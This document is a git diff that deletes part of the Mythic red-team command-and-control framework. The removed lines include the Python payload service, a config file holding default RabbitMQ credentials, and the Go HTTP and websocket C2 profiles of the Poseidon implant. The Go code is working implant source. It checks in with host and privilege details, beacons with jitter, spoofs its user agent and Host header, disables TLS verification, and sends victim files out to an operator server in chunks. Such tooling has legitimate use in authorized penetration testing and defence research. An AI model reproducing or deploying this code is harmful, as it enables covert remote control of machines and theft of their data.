- "message": "Error in agent creation: "
- + str(traceback.format_exc()),
- "payload": "",
- }
- await send_status(
- json.dumps(resp_message),
- "create_payload_with_code",
- "{}".format(username),
- )
- return
- # we want to capture the build message as build_resp.get_message()
- # we also want to capture the final values the agent used for creating the payload, so collect them
- build_instances = agent_builder.get_build_instance_values()
- resp_message = {
- "status": build_resp.get_status().value,
- "message": build_resp.get_message(),
- "build_parameter_instances": build_instances,
- "payload": base64.b64encode(build_resp.get_payload()).decode(
- "utf-8"
- ),
- }
- await send_status(
- json.dumps(resp_message),
- "create_payload_with_code",
- "{}".format(username),
- )
-
- except Exception as e:
- resp_message = {
- "status": "error",
- "message": str(traceback.format_exc()),
- "payload": "",
- }
- await send_status(
- json.dumps(resp_message),
- "create_payload_with_code",
- "{}".format(username),
- )
- elif command == "command_transform":
- try:
- # pt.task.PAYLOAD_TYPE.command_transform.taskID
-
- message_json = json.loads(
- base64.b64decode(message.body).decode("utf-8"), strict=False
- )
- final_task = None
- for cls in CommandBase.__subclasses__():
- if getattr(cls, "cmd") == message_json["command"]:
- Command = cls(Path(container_files_path))
- task = MythicTask(
- message_json["task"],
- args=Command.argument_class(message_json["params"]),
- )
- await task.args.parse_arguments()
- await task.args.verify_required_args_have_values()
- final_task = await Command.create_tasking(task)
- await send_status(
- str(final_task),
- "command_transform",
- "{}.{}".format(final_task.status.value, pieces[4]),
- username,
- )
- break
- if final_task is None:
- await send_status(
- "Failed to find class where command_name = "
- + message_json["command"],
- "command_transform",
- "error.{}".format(pieces[4]),
- username,
- )
- except Exception as e:
- await send_status(
- "[-] Mythic error while creating/running create_tasking: \n"
- + str(e),
- "command_transform",
- "error.{}".format(pieces[4]),
- username,
- )
- return
- elif command == "sync_classes":
- try:
- commands = {}
- payload_type = {}
- import_all_agent_functions()
- for cls in PayloadType.__subclasses__():
- payload_type = cls(
- agent_code_path=Path(container_files_path)
- ).to_json()
- break
- for cls in CommandBase.__subclasses__():
- commands[cls.cmd] = cls(Path(container_files_path)).to_json()
- payload_type["commands"] = commands
- await send_status(
- json.dumps(payload_type), "sync_classes", "success", username
- )
- except Exception as e:
- await send_status(
- "Error while syncing info: " + str(traceback.format_exc()),
- "sync_classes",
- "error.{}".format(pieces[4]),
- username,
- )
- else:
- print("Unknown command: {}".format(command))
-
-
-async def sync_classes():
- try:
- commands = {}
- payload_type = {}
- import_all_agent_functions()
- for cls in PayloadType.__subclasses__():
- payload_type = cls(agent_code_path=Path(container_files_path)).to_json()
- break
- for cls in CommandBase.__subclasses__():
- commands[cls.cmd] = cls(Path(container_files_path)).to_json()
- payload_type["commands"] = commands
- await send_status(json.dumps(payload_type), "sync_classes", "success", "")
- except Exception as e:
- await send_status(
- "Error while syncing info: " + str(traceback.format_exc()),
- "sync_classes",
- "error",
- "",
- )
- sys.exit(1)
-
-
-async def heartbeat():
- config_file = open("rabbitmq_config.json", "rb")
- main_config = json.loads(config_file.read().decode("utf-8"))
- config_file.close()
- if main_config["name"] == "hostname":
- hostname = socket.gethostname()
- else:
- hostname = main_config["name"]
- while True:
- try:
- connection = await aio_pika.connect_robust(
- host=main_config["host"],
- login=main_config["username"],
- password=main_config["password"],
- virtualhost=main_config["virtual_host"],
- )
- channel = await connection.channel()
- # declare our heartbeat exchange that everybody will publish to, but only the mythic server will are about
- exchange = await channel.declare_exchange(
- "mythic_traffic", aio_pika.ExchangeType.TOPIC
- )
- except Exception as e:
- print(str(e))
- await asyncio.sleep(2)
- continue
- while True:
- try:
- # routing key is ignored for fanout, it'll go to anybody that's listening, which will only be the server
- await exchange.publish(
- aio_pika.Message("heartbeat".encode()),
- routing_key="pt.heartbeat.{}".format(hostname),
- )
- await asyncio.sleep(10)
- except Exception as e:
- print(str(e))
- # if we get an exception here, break out to the bigger loop and try to connect again
- break
-
-
-async def mythic_service():
- global hostname
- global exchange
- global container_files_path
- connection = None
- config_file = open("rabbitmq_config.json", "rb")
- main_config = json.loads(config_file.read().decode("utf-8"))
- config_file.close()
- if main_config["name"] == "hostname":
- hostname = socket.gethostname()
- else:
- hostname = main_config["name"]
- container_files_path = os.path.abspath(main_config["container_files_path"])
- if not os.path.exists(container_files_path):
- os.makedirs(container_files_path)
- while connection is None:
- try:
- connection = await aio_pika.connect_robust(
- host=main_config["host"],
- login=main_config["username"],
- password=main_config["password"],
- virtualhost=main_config["virtual_host"],
- )
- except Exception as e:
- await asyncio.sleep(1)
- try:
- channel = await connection.channel()
- # declare our exchange
- exchange = await channel.declare_exchange(
- "mythic_traffic", aio_pika.ExchangeType.TOPIC
- )
- # get a random queue that only the mythic server will use to listen on to catch all heartbeats
- queue = await channel.declare_queue("", exclusive=True)
- # bind the queue to the exchange so we can actually catch messages
- await queue.bind(
- exchange="mythic_traffic", routing_key="pt.task.{}.#".format(hostname)
- )
- # just want to handle one message at a time so we can clean up and be ready
- await channel.set_qos(prefetch_count=100)
- print(" [*] Waiting for messages in mythic_service.")
- task = queue.consume(callback)
- await sync_classes()
- result = await asyncio.wait_for(task, None)
- except Exception as e:
- print(str(e))
-
-
-# start our service
-loop = asyncio.get_event_loop()
-asyncio.gather(heartbeat(), mythic_service())
-loop.run_forever()
diff --git a/Payload_Types/leviathan/mythic/payload_service.sh b/Payload_Types/leviathan/mythic/payload_service.sh
deleted file mode 100755
index 00627848a..000000000
--- a/Payload_Types/leviathan/mythic/payload_service.sh
+++ /dev/null
@@ -1,7 +0,0 @@
-#!/bin/bash
-
-cd /Mythic/mythic
-
-export PYTHONPATH=/Mythic:/Mythic/mythic
-
-python3.8 mythic_service.py
diff --git a/Payload_Types/leviathan/mythic/rabbitmq_config.json b/Payload_Types/leviathan/mythic/rabbitmq_config.json
deleted file mode 100755
index 08581c01a..000000000
--- a/Payload_Types/leviathan/mythic/rabbitmq_config.json
+++ /dev/null
@@ -1,8 +0,0 @@
-{
- "username": "mythic_user",
- "password": "mythic_password",
- "virtual_host": "mythic_vhost",
- "host": "127.0.0.1",
- "name": "hostname",
- "container_files_path": "/Mythic/"
-}
\ No newline at end of file
diff --git a/Payload_Types/poseidon/Dockerfile b/Payload_Types/poseidon/Dockerfile
deleted file mode 100755
index a1f1e7488..000000000
--- a/Payload_Types/poseidon/Dockerfile
+++ /dev/null
@@ -1,2 +0,0 @@
-From itsafeaturemythic/xgolang_payload:0.0.6
-
diff --git a/Payload_Types/poseidon/agent_code/c2_profiles/HTTP.go b/Payload_Types/poseidon/agent_code/c2_profiles/HTTP.go
deleted file mode 100644
index 185d2850f..000000000
--- a/Payload_Types/poseidon/agent_code/c2_profiles/HTTP.go
+++ /dev/null
@@ -1,795 +0,0 @@
-package profiles
-
-import (
- "bytes"
- "crypto/rsa"
- "encoding/base64"
- "encoding/json"
- "fmt"
- "io/ioutil"
- "path/filepath"
-
- //"log"
- "crypto/tls"
- "math"
- "net/http"
- "net/url"
- "os"
- "reflect"
- "strings"
- "sync"
- "time"
-
- "pkg/utils/crypto"
- "pkg/utils/functions"
- "pkg/utils/structs"
-)
-
-var Config = structs.Defaultconfig{
- "encrypted_exchange_check",
- "AESPSK",
- "callback_host:callback_port/",
- "post_uri",
- "get_uri",
- "query_path_name",
- "proxy_host:proxy_port/",
- "proxy_user",
- "proxy_pass",
- "USER_AGENT",
- callback_interval,
- "domain_front",
- callback_jitter,
-}
-
-var mu sync.Mutex
-
-type C2Default struct {
- HostHeader string
- BaseURL string
- PostURI string
- GetURI string
- QueryPathName string
- ProxyURL string
- ProxyUser string
- ProxyPass string
- Interval int
- Jitter int
- ExchangingKeys bool
- ApfellID string
- UserAgent string
- UUID string
- Key string
- RsaPrivateKey *rsa.PrivateKey
-}
-
-func newProfile() Profile {
- return &C2Default{}
-}
-func (c C2Default) getSleepTime() int {
- return c.Interval + int(math.Round((float64(c.Interval) * (seededRand.Float64() * float64(c.Jitter)) / float64(100.0))))
-}
-
-func (c C2Default) SleepInterval() int {
- return c.getSleepTime()
-}
-
-func (c *C2Default) SetSleepInterval(interval int) {
- c.Interval = interval
-}
-
-func (c *C2Default) SetSleepJitter(jitter int) {
- c.Jitter = jitter
-}
-
-func (c C2Default) ApfID() string {
- return c.ApfellID
-}
-
-func (c *C2Default) SetApfellID(newApf string) {
- c.ApfellID = newApf
-}
-
-func (c C2Default) ProfileType() string {
- t := reflect.TypeOf(c)
- return t.Name()
-}
-
-//CheckIn a new agent
-func (c *C2Default) CheckIn(ip string, pid int, user string, host string, operatingsystem string, arch string) interface{} {
- var resp []byte
- // Set the C2 Profile values
- c.BaseURL = Config.BaseURL
- c.Interval = Config.Sleep
- c.Jitter = Config.Jitter
- c.PostURI = Config.PostURI
- c.GetURI = Config.GetURI
- c.QueryPathName = Config.QueryPathName
-
- // Add proxy info if set
- if len(Config.ProxyURL) > 0 && !strings.Contains(Config.ProxyURL, "proxy_host:proxy_port/") {
- c.ProxyURL = Config.ProxyURL
- } else {
- c.ProxyURL = ""
- }
-
- if !strings.Contains(Config.ProxyUser, "proxy_user") && !strings.Contains(Config.ProxyPass, "proxy_pass") {
- if len(Config.ProxyUser) > 0 && len(Config.ProxyPass) > 0 {
- c.ProxyUser = Config.ProxyUser
- c.ProxyPass = Config.ProxyPass
- }
- } else {
- c.ProxyUser = ""
- c.ProxyPass = ""
- }
-
- if strings.Contains(Config.KEYX, "T") {
- c.ExchangingKeys = true
- } else {
- c.ExchangingKeys = false
- }
-
- if len(Config.Key) > 0 {
- c.Key = Config.Key
- } else {
- c.Key = ""
- }
-
- if len(Config.HostHeader) > 0 {
- c.HostHeader = Config.HostHeader
- }
-
- if len(Config.UserAgent) > 0 {
- c.UserAgent = Config.UserAgent
- } else {
- c.UserAgent = "Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/419.3 (KHTML, like Gecko) Safari/419.3"
- }
-
- c.UUID = UUID
- c.ApfellID = c.UUID
- checkin := structs.CheckInMessage{}
- checkin.Action = "checkin"
- checkin.User = user
- checkin.Host = host
- checkin.IP = ip
- checkin.Pid = pid
- checkin.UUID = c.UUID
- checkin.OS = operatingsystem
- checkin.Architecture = arch
- if functions.IsElevated() {
- checkin.IntegrityLevel = 3
- } else {
- checkin.IntegrityLevel = 2
- }
-
- if c.ExchangingKeys { // If exchangingKeys == true, then start EKE
- _ = c.NegotiateKey()
- }
-
- raw, _ := json.Marshal(checkin)
- resp = c.htmlPostData(c.PostURI, raw)
-
- // save the apfell id
- response := structs.CheckInMessageResponse{}
- err := json.Unmarshal(resp, &response)
-
- if err != nil {
- //log.Printf("Error in unmarshal:\n %s", err.Error())
- }
-
- if len(response.ID) != 0 {
- //log.Printf("Saving new UUID: %s\n", response.ID)
- c.ApfellID = response.ID
- }
-
- return response
-}
-
-//NegotiateKey - EKE key negotiation
-func (c *C2Default) NegotiateKey() string {
- sessionID := GenerateSessionID()
- pub, priv := crypto.GenerateRSAKeyPair()
- c.RsaPrivateKey = priv
- // Replace struct with dynamic json
- initMessage := structs.EkeKeyExchangeMessage{}
- initMessage.Action = "staging_rsa"
- initMessage.SessionID = sessionID
- initMessage.PubKey = base64.StdEncoding.EncodeToString(pub)
-
- // Encode and encrypt the json message
- raw, err := json.Marshal(initMessage)
- //log.Println(unencryptedMsg)
- if err != nil {
- return ""
- }
-
- resp := c.htmlPostData(c.PostURI, raw)
- // Decrypt & Unmarshal the response
-
- sessionKeyResp := structs.EkeKeyExchangeMessageResponse{}
-
- err = json.Unmarshal(resp, &sessionKeyResp)
- if err != nil {
- //log.Printf("Error unmarshaling eke response: %s\n", err.Error())
- return ""
- }
-
- encryptedSessionKey, _ := base64.StdEncoding.DecodeString(sessionKeyResp.SessionKey)
- decryptedKey := crypto.RsaDecryptCipherBytes(encryptedSessionKey, c.RsaPrivateKey)
- c.Key = base64.StdEncoding.EncodeToString(decryptedKey) // Save the new AES session key
- c.ExchangingKeys = false
-
- if len(sessionKeyResp.UUID) > 0 {
- c.ApfellID = sessionKeyResp.UUID // Save the new UUID
- }
-
- return sessionID
-}
-
-//GetTasking - retrieve new tasks
-func (c *C2Default) GetTasking() interface{} {
- url := fmt.Sprintf("%s%s", c.BaseURL, c.GetURI)
- request := structs.TaskRequestMessage{}
- request.Action = "get_tasking"
- request.TaskingSize = -1
-
- raw, err := json.Marshal(request)
-
- if err != nil {
- //log.Printf("Error unmarshalling: %s", err.Error())
- }
-
- rawTask := c.htmlGetData(url, raw)
-
- task := structs.TaskRequestMessageResponse{}
- err = json.Unmarshal(rawTask, &task)
-
- if err != nil {
- //log.Printf("Error unmarshalling task data: %s", err.Error())
- }
-
- return task
-}
-
-//PostResponse - Post task responses
-func (c *C2Default) PostResponse(output []byte, skipChunking bool) []byte {
- endpoint := c.PostURI
- if !skipChunking {
- return c.postRESTResponse(endpoint, output)
- } else {
- return c.htmlPostData(endpoint, output)
- }
-
-}
-
-//postRESTResponse - Wrapper to post task responses through the Apfell rest API
-func (c *C2Default) postRESTResponse(urlEnding string, data []byte) []byte {
- size := len(data)
- const dataChunk = 512000
- r := bytes.NewBuffer(data)
- chunks := uint64(math.Ceil(float64(size) / dataChunk))
- var retData bytes.Buffer
- //log.Println("Chunks: ", chunks)
- for i := uint64(0); i < chunks; i++ {
- dataPart := int(math.Min(dataChunk, float64(int64(size)-int64(i*dataChunk))))
- dataBuffer := make([]byte, dataPart)
-
- _, err := r.Read(dataBuffer)
- if err != nil {
- //fmt.Sprintf("Error reading %s: %s", err)
- break
- }
-
- responseMsg := structs.TaskResponseMessage{}
- responseMsg.Action = "post_response"
- responseMsg.Responses = make([]json.RawMessage, 1)
- responseMsg.Responses[0] = dataBuffer
-
- dataToSend, err := json.Marshal(responseMsg)
- if err != nil {
- //log.Printf("Error marshaling data for postRESTResponse: %s", err.Error())
- return make([]byte, 0)
- }
- ret := c.htmlPostData(urlEnding, dataToSend)
- retData.Write(ret)
- }
-
- return retData.Bytes()
-}
-
-//htmlPostData HTTP POST function
-func (c *C2Default) htmlPostData(urlEnding string, sendData []byte) []byte {
- targeturl := fmt.Sprintf("%s%s", c.BaseURL, c.PostURI)
- //log.Println("Sending POST request to url: ", url)
- // If the AesPSK is set, encrypt the data we send
- if len(c.Key) != 0 {
- //log.Printf("Encrypting Post data")
- sendData = c.encryptMessage(sendData)
- }
- sendData = append([]byte(c.ApfellID), sendData...) // Prepend the UUID
- sendData = []byte(base64.StdEncoding.EncodeToString(sendData)) // Base64 encode and convert to raw bytes
- req, err := http.NewRequest("POST", targeturl, bytes.NewBuffer(sendData))
- if err != nil {
- //log.Printf("Error creating new http request: %s", err.Error())
- return make([]byte, 0)
- }
- contentLength := len(sendData)
- req.ContentLength = int64(contentLength)
- req.Header.Set("User-Agent", c.UserAgent)
- // Set the host header if not empty
- if len(c.HostHeader) > 0 {
- req.Host = c.HostHeader
- }
- // loop here until we can get our data to go through properly
- for true {
- tr := &http.Transport{
- TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
- }
-
- if len(c.ProxyURL) > 0 {
- proxyURL, _ := url.Parse(c.ProxyURL)
- tr.Proxy = http.ProxyURL(proxyURL)
- }
-
- if len(c.ProxyPass) > 0 && len(c.ProxyUser) > 0 {
- auth := fmt.Sprintf("%s:%s", c.ProxyUser, c.ProxyPass)
- basicAuth := "Basic " + base64.StdEncoding.EncodeToString([]byte(auth))
- req.Header.Add("Proxy-Authorization", basicAuth)
- }
-
- client := &http.Client{
- Timeout: 30 * time.Second,
- Transport: tr,
- }
- resp, err := client.Do(req)
- if err != nil {
- time.Sleep(time.Duration(c.getSleepTime()) * time.Second)
- continue
- }
-
- if resp.StatusCode != 200 {
- time.Sleep(time.Duration(c.getSleepTime()) * time.Second)
- continue
- }
-
- defer resp.Body.Close()
-
- body, err := ioutil.ReadAll(resp.Body)
-
- if err != nil {
- time.Sleep(time.Duration(c.getSleepTime()) * time.Second)
- continue
- }
-
- raw, err := base64.StdEncoding.DecodeString(string(body))
- if err != nil {
- //log.Println("Error decoding base64 data: ", err.Error())
- return make([]byte, 0)
- }
-
- if len(raw) < 36 {
- time.Sleep(time.Duration(c.getSleepTime()) * time.Second)
- continue
- }
-
- enc_raw := raw[36:] // Remove the Payload UUID
- // if the AesPSK is set and we're not in the midst of the key exchange, decrypt the response
- if len(c.Key) != 0 {
- //log.Println("just did a post, and decrypting the message back")
- enc_raw = c.decryptMessage(enc_raw)
- //log.Println(enc_raw)
- if len(enc_raw) == 0 {
- // failed somehow in decryption
- time.Sleep(time.Duration(c.getSleepTime()) * time.Second)
- continue
- }
- }
- //log.Printf("Raw htmlpost response: %s\n", string(enc_raw))
- return enc_raw
- }
- return make([]byte, 0) //shouldn't get here
-}
-
-//htmlGetData - HTTP GET request for data
-func (c *C2Default) htmlGetData(requestUrl string, obody []byte) []byte {
- //log.Println("Sending HTML GET request to url: ", url)
- tr := &http.Transport{
- TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
- }
-
- // Add proxy url if set
- if len(c.ProxyURL) > 0 {
- proxyURL, _ := url.Parse(c.ProxyURL)
- tr.Proxy = http.ProxyURL(proxyURL)
- }
-
- client := &http.Client{
- Timeout: 30 * time.Second,
- Transport: tr,
- }
- var respBody []byte
- var payload []byte
- for true {
- if len(c.Key) > 0 && len(obody) > 0 {
- payload = c.encryptMessage(obody) // Encrypt and then encapsulate the task request
- } else {
- payload = make([]byte, len(obody))
- copy(payload, payload)
- }
- encapbody := append([]byte(c.ApfellID), payload...) // Prepend the UUID to the body of the request
- encbody := base64.StdEncoding.EncodeToString(encapbody) // Base64 the body
-
- req, err := http.NewRequest("GET", requestUrl, nil)
-
- // Add proxy user name and pass if set
- if len(c.ProxyPass) > 0 && len(c.ProxyUser) > 0 {
- auth := fmt.Sprintf("%s:%s", c.ProxyUser, c.ProxyPass)
- basicAuth := "Basic " + base64.StdEncoding.EncodeToString([]byte(auth))
- req.Header.Add("Proxy-Authorization", basicAuth)
- }
-
- q := url.Values{}
- q.Add(c.QueryPathName, encbody)
-
- req.URL.RawQuery = q.Encode()
-
- if err != nil {
- time.Sleep(time.Duration(c.getSleepTime()) * time.Second)
- continue
- }
-
- if len(c.HostHeader) > 0 {
- req.Host = c.HostHeader
- }
-
- req.Header.Set("User-Agent", c.UserAgent)
- resp, err := client.Do(req)
-
- if err != nil {
- //time.Sleep(time.Duration(c.SleepInterval()) * time.Second)
- time.Sleep(time.Duration(c.getSleepTime()) * time.Second)
- continue
- }
-
- if resp.StatusCode != 200 {
- //time.Sleep(time.Duration(c.SleepInterval()) * time.Second)
- time.Sleep(time.Duration(c.getSleepTime()) * time.Second)
- continue
- }
-
- defer resp.Body.Close()
-
- respBody, _ = ioutil.ReadAll(resp.Body)
- raw, _ := base64.StdEncoding.DecodeString(string(respBody))
- if len(raw) < 36 {
- time.Sleep(time.Duration(c.getSleepTime()) * time.Second)
- continue
- }
- enc_raw := raw[36:] // Remove the prepended UUID
- if len(c.Key) != 0 {
- enc_raw = c.decryptMessage(enc_raw)
- if len(enc_raw) == 0 {
- time.Sleep(time.Duration(c.getSleepTime()) * time.Second)
- continue
- }
- }
- //log.Printf("Raw htmlget response: %s\n", string(enc_raw))
- return enc_raw
- }
- return make([]byte, 0) //shouldn't get here
-
-}
-
-//SendFile - download a file
-func (c *C2Default) SendFile(task structs.Task, params string, ch chan []byte) {
- path := task.Params
- // Get the file size first and then the # of chunks required
- file, err := os.Open(path)
-
- if err != nil {
- errResponse := structs.Response{}
- errResponse.Completed = true
- errResponse.TaskID = task.TaskID
- errResponse.UserOutput = fmt.Sprintf("Error opening file: %s", err.Error())
- errResponseEnc, _ := json.Marshal(errResponse)
- mu.Lock()
- TaskResponses = append(TaskResponses, errResponseEnc)
- mu.Unlock()
- return
- }
-
- fi, err := file.Stat()
- if err != nil {
- errResponse := structs.Response{}
- errResponse.Completed = true
- errResponse.TaskID = task.TaskID
- errResponse.UserOutput = fmt.Sprintf("Error getting file size: %s", err.Error())
- errResponseEnc, _ := json.Marshal(errResponse)
- mu.Lock()
- TaskResponses = append(TaskResponses, errResponseEnc)
- mu.Unlock()
- return
- }
-
- size := fi.Size()
- raw := make([]byte, size)
- _, err = file.Read(raw)
- if err != nil {
- errResponse := structs.Response{}
- errResponse.Completed = true
- errResponse.TaskID = task.TaskID
- errResponse.UserOutput = fmt.Sprintf("Error reading file: %s", err.Error())
- errResponseEnc, _ := json.Marshal(errResponse)
- mu.Lock()
- TaskResponses = append(TaskResponses, errResponseEnc)
- mu.Unlock()
- return
- }
-
- _ = file.Close()
-
- c.SendFileChunks(task, raw, ch)
-}
-
-// Get a file
-
-func (c *C2Default) GetFile(task structs.Task, fileDetails structs.FileUploadParams, ch chan []byte) {
-
- fileUploadMsg := structs.FileUploadChunkMessage{} //Create the file upload chunk message
- fileUploadMsg.Action = "upload"
- fileUploadMsg.FileID = fileDetails.FileID
- fileUploadMsg.ChunkSize = 1024000
- fileUploadMsg.ChunkNum = 1
- fileUploadMsg.FullPath = fileDetails.RemotePath
- fileUploadMsg.TaskID = task.TaskID
-
- msg, _ := json.Marshal(fileUploadMsg)
- mu.Lock()
- UploadResponses = append(UploadResponses, msg)
- mu.Unlock()
- // Wait for response from apfell
- rawData := <-ch
-
- fileUploadMsgResponse := structs.FileUploadChunkMessageResponse{} // Unmarshal the file upload response from apfell
- err := json.Unmarshal(rawData, &fileUploadMsgResponse)
- if err != nil {
- errResponse := structs.Response{}
- errResponse.Completed = true
- errResponse.TaskID = task.TaskID
- errResponse.UserOutput = fmt.Sprintf("Error unmarshaling task response: %s", err.Error())
- errResponseEnc, _ := json.Marshal(errResponse)
- mu.Lock()
- TaskResponses = append(TaskResponses, errResponseEnc)
- mu.Unlock()
- return
- }
-
- f, err := os.Create(fileDetails.RemotePath)
- if err != nil {
- errResponse := structs.Response{}
- errResponse.Completed = true
- errResponse.TaskID = task.TaskID
- errResponse.UserOutput = fmt.Sprintf("Error creating file: %s", err.Error())
- errResponseEnc, _ := json.Marshal(errResponse)
- mu.Lock()
- TaskResponses = append(TaskResponses, errResponseEnc)
- mu.Unlock()
- return
- }
- defer f.Close()
- decoded, _ := base64.StdEncoding.DecodeString(fileUploadMsgResponse.ChunkData)
-
- _, err = f.Write(decoded)
-
- if err != nil {
- errResponse := structs.Response{}
- errResponse.Completed = true
- errResponse.TaskID = task.TaskID
- errResponse.UserOutput = fmt.Sprintf("Error writing to file: %s", err.Error())
- errResponseEnc, _ := json.Marshal(errResponse)
- mu.Lock()
- TaskResponses = append(TaskResponses, errResponseEnc)
- mu.Unlock()
- return
- }
-
- offset := int64(len(decoded))
- if fileUploadMsgResponse.TotalChunks > 1 {
- for index := 2; index <= fileUploadMsgResponse.TotalChunks; index++ {
- fileUploadMsg = structs.FileUploadChunkMessage{}
- fileUploadMsg.Action = "upload"
- fileUploadMsg.ChunkNum = index
- fileUploadMsg.ChunkSize = 1024000
- fileUploadMsg.FileID = fileDetails.FileID
- fileUploadMsg.FullPath = fileDetails.RemotePath
- fileUploadMsg.TaskID = task.TaskID
-
- msg, _ := json.Marshal(fileUploadMsg)
- mu.Lock()
- UploadResponses = append(UploadResponses, msg)
- mu.Unlock()
- rawData := <-ch
- fileUploadMsgResponse = structs.FileUploadChunkMessageResponse{} // Unmarshal the file upload response from apfell
- err := json.Unmarshal(rawData, &fileUploadMsgResponse)
- if err != nil {
- errResponse := structs.Response{}
- errResponse.Completed = true
- errResponse.TaskID = task.TaskID
- errResponse.UserOutput = fmt.Sprintf("Error marshaling response: %s", err.Error())
- errResponseEnc, _ := json.Marshal(errResponse)
- mu.Lock()
- TaskResponses = append(TaskResponses, errResponseEnc)
- mu.Unlock()
- return
- }
- // Base64 decode the chunk data
- decoded, _ := base64.StdEncoding.DecodeString(fileUploadMsgResponse.ChunkData)
-
- _, err = f.WriteAt(decoded, offset)
- if err != nil {
- errResponse := structs.Response{}
- errResponse.Completed = true
- errResponse.TaskID = task.TaskID
- errResponse.UserOutput = fmt.Sprintf("Error writing to file: %s", err.Error())
- errResponseEnc, _ := json.Marshal(errResponse)
- mu.Lock()
- TaskResponses = append(TaskResponses, errResponseEnc)
- mu.Unlock()
- return
- }
-
- offset = offset + int64(len(decoded))
- }
- }
-
- resp := structs.Response{}
- resp.UserOutput = "File upload complete"
- resp.Completed = true
- resp.TaskID = task.TaskID
- encResp, err := json.Marshal(resp)
- mu.Lock()
- TaskResponses = append(TaskResponses, encResp)
- mu.Unlock()
- return
-}
-
-//SendFileChunks - Helper function to deal with file chunks (screenshots and file downloads)
-func (c *C2Default) SendFileChunks(task structs.Task, fileData []byte, ch chan []byte) {
-
- size := len(fileData)
-
- const fileChunk = 512000 //Normal apfell chunk size
- chunks := uint64(math.Ceil(float64(size) / fileChunk))
-
- chunkResponse := structs.FileDownloadInitialMessage{}
- chunkResponse.NumChunks = int(chunks)
- chunkResponse.TaskID = task.TaskID
-
- abspath, _ := filepath.Abs(task.Params)
-
- chunkResponse.FullPath = abspath
-
- chunkResponse.IsScreenshot = strings.Compare(task.Command, "screencapture") == 0
-
- msg, _ := json.Marshal(chunkResponse)
- mu.Lock()
- TaskResponses = append(TaskResponses, msg)
- mu.Unlock()
-
- var fileDetails map[string]interface{}
- // Wait for a response from the channel
-
- for {
- resp := <-ch
- err := json.Unmarshal(resp, &fileDetails)
- if err != nil {
- errResponse := structs.Response{}
- errResponse.Completed = true
- errResponse.TaskID = task.TaskID
- errResponse.UserOutput = fmt.Sprintf("Error unmarshaling task response: %s", err.Error())
- errResponseEnc, _ := json.Marshal(errResponse)
-
- mu.Lock()
- TaskResponses = append(TaskResponses, errResponseEnc)
- mu.Unlock()
- return
- }
-
- //log.Printf("Receive file download registration response %s\n", resp)
- if _, ok := fileDetails["file_id"]; ok {
- if ok {
- //log.Println("Found response with file_id key ", fileid)
- break
- } else {
- //log.Println("Didn't find response with file_id key")
- continue
- }
- }
- }
-
- r := bytes.NewBuffer(fileData)
- // Sleep here so we don't spam apfell
- //time.Sleep(time.Duration(c.getSleepTime()) * time.Second)
-
- for i := uint64(0); i < chunks; i++ {
- //log.Println("Index ", i)
- partSize := int(math.Min(fileChunk, float64(int64(size)-int64(i*fileChunk))))
- partBuffer := make([]byte, partSize)
- // Create a temporary buffer and read a chunk into that buffer from the file
- _, _ = r.Read(partBuffer)
-
- msg := structs.FileDownloadChunkMessage{}
- msg.ChunkNum = int(i) + 1
- msg.FileID = fileDetails["file_id"].(string)
- msg.ChunkData = base64.StdEncoding.EncodeToString(partBuffer)
- msg.TaskID = task.TaskID
-
- encmsg, _ := json.Marshal(msg)
- mu.Lock()
- TaskResponses = append(TaskResponses, encmsg)
- mu.Unlock()
-
- // Wait for a response for our file chunk
- var postResp map[string]interface{}
- for {
- decResp := <-ch
- err := json.Unmarshal(decResp, &postResp) // Wait for a response for our file chunk
-
- if err != nil {
- errResponse := structs.Response{}
- errResponse.Completed = true
- errResponse.TaskID = task.TaskID
- errResponse.UserOutput = fmt.Sprintf("Error unmarshaling task response: %s", err.Error())
- errResponseEnc, _ := json.Marshal(errResponse)
- mu.Lock()
- TaskResponses = append(TaskResponses, errResponseEnc)
- mu.Unlock()
- return
- }
-
- //log.Printf("Received chunk download response %s\n", decResp)
- if _, ok := postResp["status"]; ok {
- if ok {
- //log.Println("Found response with status key: ", status)
- break
- } else {
- //log.Println("Didn't find response with status key")
- continue
- }
- }
- }
-
- if !strings.Contains(postResp["status"].(string), "success") {
- // If the post was not successful, wait and try to send it one more time
-
- mu.Lock()
- TaskResponses = append(TaskResponses, encmsg)
- mu.Unlock()
- }
-
- time.Sleep(time.Duration(c.getSleepTime()) * time.Second)
- }
-
- r.Reset()
- r = nil
- fileData = nil
-
- final := structs.Response{}
- final.Completed = true
- final.TaskID = task.TaskID
- final.UserOutput = "file downloaded"
- finalEnc, _ := json.Marshal(final)
- mu.Lock()
- TaskResponses = append(TaskResponses, finalEnc)
- mu.Unlock()
- return
-}
-
-func (c *C2Default) encryptMessage(msg []byte) []byte {
- key, _ := base64.StdEncoding.DecodeString(c.Key)
- return crypto.AesEncrypt(key, msg)
-}
-
-func (c *C2Default) decryptMessage(msg []byte) []byte {
- key, _ := base64.StdEncoding.DecodeString(c.Key)
- return crypto.AesDecrypt(key, msg)
-}
diff --git a/Payload_Types/poseidon/agent_code/c2_profiles/websocket.go b/Payload_Types/poseidon/agent_code/c2_profiles/websocket.go
deleted file mode 100644
index a3f92d6d5..000000000
--- a/Payload_Types/poseidon/agent_code/c2_profiles/websocket.go
+++ /dev/null
@@ -1,647 +0,0 @@
-// +build websocket
-
-package profiles
-
-import (
- "bytes"
- "crypto/rsa"
- "encoding/base64"
- "encoding/json"
- "fmt"
- "math"
- "net/http"
- "os"
- "reflect"
- "strings"
- "time"
- "sync"
- "crypto/tls"
- //"log"
-
- "github.com/gorilla/websocket"
- "pkg/utils/crypto"
- "pkg/utils/functions"
- "pkg/utils/structs"
-)
-
-var mu sync.Mutex
-
-var Config = structs.Websocketconfig{
- "encrypted_exchange_check",
- "AESPSK",
- "callback_host:callback_port/",
- "USER_AGENT",
- callback_interval,
- "domain_front",
- callback_jitter,
- "ENDPOINT_REPLACE",
-}
-
-type C2Websockets struct {
- HostHeader string
- BaseURL string
- Interval int
- Jitter int
- ExchangingKeys bool
- ApfellID string
- UserAgent string
- UUID string
- Key string
- RsaPrivateKey *rsa.PrivateKey
- Conn *websocket.Conn
- Endpoint string
-}
-
-func newProfile() Profile {
- return &C2Websockets{}
-}
-
-func (c C2Websockets) getSleepTime() int{
- return c.Interval + int(math.Round((float64(c.Interval) * (seededRand.Float64() * float64(c.Jitter))/float64(100.0))));
-}
-
-func (c C2Websockets) SleepInterval() int {
- return c.getSleepTime()
-}
-
-func (c *C2Websockets) SetSleepInterval(interval int) {
- c.Interval = interval
-}
-
-func (c *C2Websockets) SetSleepJitter(jitter int){
